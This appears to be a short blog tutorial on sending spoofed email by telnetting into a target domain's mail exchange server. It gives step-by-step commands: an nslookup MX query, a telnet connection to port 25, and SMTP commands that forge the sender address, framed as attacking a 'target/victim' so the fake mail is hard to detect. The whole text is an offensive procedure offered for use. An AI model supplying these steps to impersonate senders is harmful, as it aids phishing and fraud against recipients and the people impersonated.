HACKING E-MAIL SERVER USING TELNET SERVICE

In this post i will tell how to hack email server using telnet?
This is very easy, but the only problem is this that it works for same domain only, example: you can send mail form *@aakarperiwal.com to *@aakarperiwal.com only. This process is very useful in sending this type of mail as it is hard to detect if email is fake or not, because that mail contain that email is sent from same server.


STEP: 1)
First you need to decide your target/victim. example aakarperiwal.com
Now open cmd and give command nslookup then hit enter


nslookup
set q=mx
name of website


STEP: 2)
Locate the address of mail exchanger in the output. (If it may be different form website)
close this cmd and then open new and give the following command to enter in mail exchagne server.

telnet mail exchange server 25

if it connect that means you are in the mail exchange server, now we have to start communication with server using some smtp commands.

STEP: 3)

type given commands to communicate with server.

1.) HELO name of website

2.) MAIL FROM: email address of sender

3.) RCPT TO: email address of receiver

4.) DATA

Your Data

. put an “.” after you finished your data

5.) QUIT

That is done. You have sent a fake mail using there own server.
